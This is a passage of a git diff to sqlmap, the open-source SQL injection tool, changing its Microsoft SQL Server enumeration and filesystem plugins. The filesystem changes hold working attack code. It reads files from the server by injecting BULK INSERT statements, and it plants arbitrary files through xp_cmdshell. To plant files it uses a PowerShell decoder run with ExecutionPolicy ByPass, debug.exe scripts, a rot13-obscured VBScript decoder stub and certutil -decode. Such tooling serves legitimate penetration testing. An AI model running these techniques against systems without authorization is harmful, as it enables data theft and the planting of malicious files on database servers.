lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject - from plugins.generic.enumeration import Enumeration as GenericEnumeration +from thirdparty import six class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" - logger.warn(warnMsg) + logger.warning(warnMsg) users = [] areAdmins = set() @@ -75,27 +76,31 @@ def getTables(self): conf.db = self.getCurrentDb() if conf.db: - dbs = conf.db.split(",") + dbs = conf.db.split(',') else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) - dbs = filter(None, dbs) + dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" - infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) + infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) - rootQuery = queries[Backend.getIdentifiedDbms()].tables + rootQuery = queries[DBMS.MSSQL].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) + continue + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: + infoMsg = "skipping database '%s'" % db + singleTimeLogMessage(infoMsg) continue for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3): @@ -105,16 +110,20 @@ def getTables(self): break if not isNoneValue(value): - value = filter(None, arrayizeValue(value)) + value = [_ for _ in arrayizeValue(value) if _] value = [safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value] kb.data.cachedTables[db] = value if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) + continue + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: + infoMsg = "skipping database '%s'" % db + singleTimeLogMessage(infoMsg) continue infoMsg = "fetching number of tables for " @@ -131,7 +140,7 @@ def getTables(self): if count != 0: warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) continue tables = [] @@ -150,7 +159,7 @@ def getTables(self): else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) if not kb.data.cachedTables and not conf.search: errMsg = "unable to retrieve the tables for any database" @@ -163,13 +172,16 @@ def getTables(self): def searchTable(self): foundTbls = {} - tblList = conf.tbl.split(",") - rootQuery = queries[Backend.getIdentifiedDbms()].search_table + tblList = conf.tbl.split(',') + rootQuery = queries[DBMS.MSSQL].search_table tblCond = rootQuery.inband.condition tblConsider, tblCondParam = self.likeOrExact("table") - if conf.db and conf.db != CURRENT_DB: - enumDbs = conf.db.split(",") + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if conf.db: + enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: @@ -194,10 +206,14 @@ def searchTable(self): for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) + continue + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: + infoMsg = "skipping database '%s'" % db + singleTimeLogMessage(infoMsg) continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -206,7 +222,7 @@ def searchTable(self): values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - if isinstance(values, basestring): + if isinstance(values, six.string_types): values = [values] for foundTbl in values: @@ -232,7 +248,7 @@ def searchTable(self): warnMsg += "s LIKE" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) - logger.warn(warnMsg) + logger.warning(warnMsg) continue @@ -247,29 +263,29 @@ def searchTable(self): kb.hintValue = tbl foundTbls[db].append(tbl) - for db, tbls in foundTbls.items(): + for db, tbls in list(foundTbls.items()): if len(tbls) == 0: foundTbls.pop(db) if not foundTbls: warnMsg = "no databases contain any of the provided tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls) def searchColumn(self): - rootQuery = queries[Backend.getIdentifiedDbms()].search_column + rootQuery = queries[DBMS.MSSQL].search_column foundCols = {} dbs = {} whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" - colList = conf.col.split(",") + colList = conf.col.split(',') - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] origTbl = conf.tbl origDb = conf.db @@ -277,8 +293,11 @@ def searchColumn(self): tblCond = rootQuery.inband.condition2 colConsider, colCondParam = self.likeOrExact("column") - if conf.db and conf.db != CURRENT_DB: - enumDbs = conf.db.split(",") + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if conf.db: + enumDbs = conf.db.split(',') elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: @@ -301,16 +320,18 @@ def searchColumn(self): foundCols[column] = {} if conf.tbl: - _ = conf.tbl.split(",") + _ = conf.tbl.split(',') whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _)) - if conf.db and conf.db != CURRENT_DB: - _ = conf.db.split(",") + if conf.db == CURRENT_DB: + conf.db = self.getCurrentDb() + + if conf.db: + _ = conf.db.split(',') infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: - infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) - logger.info(infoMsg2) + infoMsgDb = " not in system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) else: infoMsgDb = " across all databases" @@ -319,10 +340,13 @@ def searchColumn(self): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) - for db in filter(None, dbs.keys()): + for db in (_ for _ in dbs if _): db = safeSQLIdentificatorNaming(db) - if conf.excludeSysDbs and db in self.excludeDbsList: + if conf.excludeSysDbs and unsafeSQLIdentificatorNaming(db) in self.excludeDbsList: + continue + + if conf.exclude and re.search(conf.exclude, db, re.I) is not None: continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -332,7 +356,7 @@ def searchColumn(self): values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): - if isinstance(values, basestring): + if isinstance(values, six.string_types): values = [values] for foundTbl in values: @@ -344,16 +368,16 @@ def searchColumn(self): if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} - if colConsider == "1": + if colConsider == '1': conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) - if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\ - and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): + if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db] and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) + kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None @@ -383,7 +407,7 @@ def searchColumn(self): warnMsg += "s LIKE" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db - logger.warn(warnMsg) + logger.warning(warnMsg) continue diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 53e197a0d4d..241b4b64586 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,22 +1,26 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import codecs import ntpath import os +from lib.core.common import checkFile from lib.core.common import getLimitRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.common import readInput -from lib.core.convert import base64encode -from lib.core.convert import hexencode +from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import encodeHex from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED @@ -28,9 +32,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def _dataToScr(self, fileContent, chunkName): fileLines = [] fileSize = len(fileContent) @@ -46,14 +47,14 @@ def _dataToScr(self, fileContent, chunkName): scrString = "" for lineChar in fileContent[fileLine:fileLine + lineLen]: - strLineChar = hexencode(lineChar) + strLineChar = encodeHex(lineChar, binary=False) if not scrString: scrString = "e %x %s" % (lineAddr, strLineChar) else: scrString += " %s" % strLineChar - lineAddr += len(lineChar) + lineAddr += len(strLineChar) // 2 fileLines.append(scrString) @@ -67,35 +68,39 @@ def _updateDestChunk(self, fileContent, tmpPath): chunkName = randomStr(lowercase=True) fileScrLines = self._dataToScr(fileContent, chunkName) - logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr)) + logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr)) self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr) - logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr)) + logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr)) - commands = ("cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "debug < %s" % randScr, + "del /F /Q %s" % randScr + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) return chunkName - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) + def stackedReadFile(self, remoteFile): + if not kb.bruteMode: + infoMsg = "fetching file: '%s'" % remoteFile + logger.info(infoMsg) result = [] txtTbl = self.fileTblName - hexTbl = "%shex" % self.fileTblName + hexTbl = "%s%shex" % (self.fileTblName, randomStr()) self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) - logger.debug("loading the content of file '%s' into support table" % rFile) - inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) + logger.debug("loading the content of file '%s' into support table" % remoteFile) + inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, remoteFile, randomStr(10), randomStr(10)), silent=True) - # Reference: http://support.microsoft.com/kb/104829 + # Reference: https://web.archive.org/web/20120211184457/http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) @@ -114,7 +119,7 @@ def stackedReadFile(self, rFile): DECLARE @firstint INT DECLARE @secondint INT - SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) + SET @tempint = CONVERT(INT, (SELECT TOP 1 ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) @@ -146,83 +151,87 @@ def stackedReadFile(self, rFile): if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " - errMsg += "file '%s'" % rFile + errMsg += "file '%s'" % remoteFile raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) for index in indexRange: - chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) + chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE id NOT IN (SELECT TOP %d id FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, index, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result - def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) - def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): + def _stackedWriteFilePS(self, tmpPath, localFileContent, remoteFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType - infoMsg += "to file '%s'" % dFile + infoMsg += "to file '%s'" % remoteFile logger.info(infoMsg) - encodedFileContent = base64encode(wFileContent) + encodedFileContent = encodeBase64(localFileContent, binary=False) encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) - encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File) + encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File) randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) - randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) + randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript) - wFileSize = len(encodedFileContent) + localFileSize = len(encodedFileContent) chunkMaxSize = 1024 logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) - for i in xrange(0, wFileSize, chunkMaxSize): + for i in xrange(0, localFileSize, chunkMaxSize): wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " psString += "[System.Convert]::FromBase64String($Base64); Set-Content " - psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile + psString += "-Path \"%s\" -Value $Content -Encoding Byte" % remoteFile logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) - logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) + logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % remoteFile) - commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, - "del /F /Q \"%s\"" % encodedBase64FilePath, - "del /F /Q \"%s\"" % randPSScriptPath) - complComm = " & ".join(command for command in commands) + commands = ( + "powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, + "del /F /Q \"%s\"" % encodedBase64FilePath, + "del /F /Q \"%s\"" % randPSScriptPath + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) - def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): + def _stackedWriteFileDebugExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType - infoMsg += "file content to file '%s', please wait.." % dFile + infoMsg += "file content to file '%s', please wait.." % remoteFile logger.info(infoMsg) - dFileName = ntpath.basename(dFile) - sFile = "%s\%s" % (tmpPath, dFileName) - wFileSize = os.path.getsize(wFile) + remoteFileName = ntpath.basename(remoteFile) + sFile = "%s\\%s" % (tmpPath, remoteFileName) + localFileSize = os.path.getsize(localFile) debugSize = 0xFF00 - if wFileSize < debugSize: - chunkName = self._updateDestChunk(wFileContent, tmpPath) + if localFileSize < debugSize: + chunkName = self._updateDestChunk(localFileContent, tmpPath) - debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType) - debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile) + debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType) + debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, remoteFileName, remoteFile) logger.debug(debugMsg) - commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile)) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "ren %s %s" % (chunkName, remoteFileName), + "move /Y %s %s" % (remoteFileName, remoteFile) + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) else: debugMsg = "the file is larger than %d bytes. " % debugSize debugMsg += "sqlmap will split it into chunks locally, upload " @@ -230,180 +239,189 @@ def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileTyp debugMsg += "on the server, please wait.." logger.debug(debugMsg) - for i in xrange(0, wFileSize, debugSize): - wFileChunk = wFileContent[i:i + debugSize] - chunkName = self._updateDestChunk(wFileChunk, tmpPath) + for i in xrange(0, localFileSize, debugSize): + localFileChunk = localFileContent[i:i + debugSize] + chunkName = self._updateDestChunk(localFileChunk, tmpPath) if i == 0: debugMsg = "renaming chunk " - copyCmd = "ren %s %s" % (chunkName, dFileName) + copyCmd = "ren %s %s" % (chunkName, remoteFileName) else: debugMsg = "appending chunk " - copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) + copyCmd = "copy /B /Y %s+%s %s" % (remoteFileName, chunkName, remoteFileName) - debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) + debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, remoteFileName) logger.debug(debugMsg) - commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + copyCmd, + "del /F /Q %s" % chunkName + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) - logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) + logger.debug("moving %s file %s to %s" % (fileType, sFile, remoteFile)) - commands = ("cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "move /Y %s %s" % (remoteFileName, remoteFile) + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) - def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): + def _stackedWriteFileVbs(self, tmpPath, localFileContent, remoteFile, fileType): infoMsg = "using a custom visual basic script to write the " - infoMsg += "%s file content to file '%s', please wait.." % (fileType, dFile) + infoMsg += "%s file content to file '%s', please wait.." % (fileType, remoteFile) logger.info(infoMsg) randVbs = "tmps%s.vbs" % randomStr(lowercase=True) randFile = "tmpf%s.txt" % randomStr(lowercase=True) - randFilePath = "%s\%s" % (tmpPath, randFile) - - vbs = """Dim inputFilePath, outputFilePath - inputFilePath = "%s" - outputFilePath = "%s" - Set fs = CreateObject("Scripting.FileSystemObject") - Set file = fs.GetFile(inputFilePath) - If file.Size Then - Wscript.Echo "Loading from: " & inputFilePath - Wscript.Echo - Set fd = fs.OpenTextFile(inputFilePath, 1) - data = fd.ReadAll - fd.Close - data = Replace(data, " ", "") - data = Replace(data, vbCr, "") - data = Replace(data, vbLf, "") - Wscript.Echo "Fixed Input: " - Wscript.Echo data - Wscript.Echo - decodedData = base64_decode(data) - Wscript.Echo "Output: " - Wscript.Echo decodedData - Wscript.Echo - Wscript.Echo "Writing output in: " & outputFilePath - Wscript.Echo - Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True) - ofs.Write decodedData - ofs.close - Else - Wscript.Echo "The file is empty." - End If - Function base64_decode(byVal strIn) - Dim w1, w2, w3, w4, n, strOut - For n = 1 To Len(strIn) Step 4 - w1 = mimedecode(Mid(strIn, n, 1)) - w2 = mimedecode(Mid(strIn, n + 1, 1)) - w3 = mimedecode(Mid(strIn, n + 2, 1)) - w4 = mimedecode(Mid(strIn, n + 3, 1)) - If Not w2 Then _ - strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) - If Not w3 Then _ - strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) - If Not w4 Then _ - strOut = strOut + Chr(((w3 * 64 + w4) And 255)) - Next - base64_decode = strOut - End Function - Function mimedecode(byVal strIn) - Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" - If Len(strIn) = 0 Then - mimedecode = -1 : Exit Function - Else - mimedecode = InStr(Base64Chars, strIn) - 1 - End If - End Function""" % (randFilePath, dFile) - + randFilePath = "%s\\%s" % (tmpPath, randFile) + + vbs = """Qvz vachgSvyrCngu, bhgchgSvyrCngu + vachgSvyrCngu = "%f" + bhgchgSvyrCngu = "%f" + Frg sf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg") + Frg svyr = sf.TrgSvyr(vachgSvyrCngu) + Vs svyr.Fvmr Gura + Jfpevcg.Rpub "Ybnqvat sebz: " & vachgSvyrCngu + Jfpevcg.Rpub + Frg sq = sf.BcraGrkgSvyr(vachgSvyrCngu, 1) + qngn = sq.ErnqNyy + sq.Pybfr + qngn = Ercynpr(qngn, " ", "") + qngn = Ercynpr(qngn, ioPe, "") + qngn = Ercynpr(qngn, ioYs, "") + Jfpevcg.Rpub "Svkrq Vachg: " + Jfpevcg.Rpub qngn + Jfpevcg.Rpub + qrpbqrqQngn = onfr64_qrpbqr(qngn) + Jfpevcg.Rpub "Bhgchg: " + Jfpevcg.Rpub qrpbqrqQngn + Jfpevcg.Rpub + Jfpevcg.Rpub "Jevgvat bhgchg va: " & bhgchgSvyrCngu + Jfpevcg.Rpub + Frg bsf = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg").BcraGrkgSvyr(bhgchgSvyrCngu, 2, Gehr) + bsf.Jevgr qrpbqrqQngn + bsf.pybfr + Ryfr + Jfpevcg.Rpub "Gur svyr vf rzcgl." + Raq Vs + Shapgvba onfr64_qrpbqr(olIny fgeVa) + Qvz j1, j2, j3, j4, a, fgeBhg + Sbe a = 1 Gb Yra(fgeVa) Fgrc 4 + j1 = zvzrqrpbqr(Zvq(fgeVa, a, 1)) + j2 = zvzrqrpbqr(Zvq(fgeVa, a + 1, 1)) + j3 = zvzrqrpbqr(Zvq(fgeVa, a + 2, 1)) + j4 = zvzrqrpbqr(Zvq(fgeVa, a + 3, 1)) + Vs Abg j2 Gura _ + fgeBhg = fgeBhg + Pue(((j1 * 4 + Vag(j2 / 16)) Naq 255)) + Vs Abg j3 Gura _ + fgeBhg = fgeBhg + Pue(((j2 * 16 + Vag(j3 / 4)) Naq 255)) + Vs Abg j4 Gura _ + fgeBhg = fgeBhg + Pue(((j3 * 64 + j4) Naq 255)) + Arkg + onfr64_qrpbqr = fgeBhg + Raq Shapgvba + Shapgvba zvzrqrpbqr(olIny fgeVa) + Onfr64Punef = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/" + Vs Yra(fgeVa) = 0 Gura + zvzrqrpbqr = -1 : Rkvg Shapgvba + Ryfr + zvzrqrpbqr = VaFge(Onfr64Punef, fgeVa) - 1 + Raq Vs + Raq Shapgvba""" + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5581 + vbs = codecs.decode(vbs, "rot13") vbs = vbs.replace(" ", "") - encodedFileContent = base64encode(wFileContent) + vbs = vbs % (randFilePath, remoteFile) + encodedFileContent = encodeBase64(localFileContent, binary=False) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) - logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs)) + logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs)) self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) - commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs, - "del /F /Q %s" % randVbs, - "del /F /Q %s" % randFile) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "cscript //nologo %s" % randVbs, + "del /F /Q %s" % randVbs, + "del /F /Q %s" % randFile + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) - def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType): + def _stackedWriteFileCertutilExe(self, tmpPath, localFile, localFileContent, remoteFile, fileType): infoMsg = "using certutil.exe to write the %s " % fileType - infoMsg += "file content to file '%s', please wait.." % dFile + infoMsg += "file content to file '%s', please wait.." % remoteFile logger.info(infoMsg) chunkMaxSize = 500 randFile = "tmpf%s.txt" % randomStr(lowercase=True) - randFilePath = "%s\%s" % (tmpPath, randFile) + randFilePath = "%s\\%s" % (tmpPath, randFile) - encodedFileContent = base64encode(wFileContent) + encodedFileContent = encodeBase64(localFileContent, binary=False) - splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) + splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i + chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile) - logger.debug("decoding the file to %s.." % dFile) + logger.debug("decoding the file to %s.." % remoteFile) - commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile), - "del /F /Q %s" % randFile) - complComm = " & ".join(command for command in commands) + commands = ( + "cd \"%s\"" % tmpPath, + "certutil -f -decode %s %s" % (randFile, remoteFile), + "del /F /Q %s" % randFile + ) - self.execCmd(complComm) + self.execCmd(" & ".join(command for command in commands)) - def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): # NOTE: this is needed here because we use xp_cmdshell extended # procedure to write a file on the back-end Microsoft SQL Server # file system self.initEnv() - self.getRemoteTempPath() tmpPath = posixToNtSlashes(conf.tmpPath) - dFile = posixToNtSlashes(dFile) - with open(wFile, "rb") as f: - wFileContent = f.read() + remoteFile = posixToNtSlashes(remoteFile) + + checkFile(localFile) + localFileContent = open(localFile, "rb").read() - self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + self._stackedWriteFilePS(tmpPath, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the custom Visual Basic script technique? [Y/n] " - choice = readInput(message, default="Y") - if not choice or choice.lower() == "y": - self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + if readInput(message, default='Y', boolean=True): + self._stackedWriteFileVbs(tmpPath, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in debug.exe technique? [Y/n] " - choice = readInput(message, default="Y") - if not choice or choice.lower() == "y": - self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + if readInput(message, default='Y', boolean=True): + self._stackedWriteFileDebugExe(tmpPath, localFile, localFileContent, remoteFile, fileType) + written = self.askCheckWrittenFile(localFile, remoteFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in certutil.exe technique? [Y/n] " - choice = readInput(message, default="Y") - if not choice or choice.lower() == "y": - self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType) - written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + if readInput(message, default='Y', boolean=True): + self._stackedWriteFileCertutilExe(tmpPath, localFile, 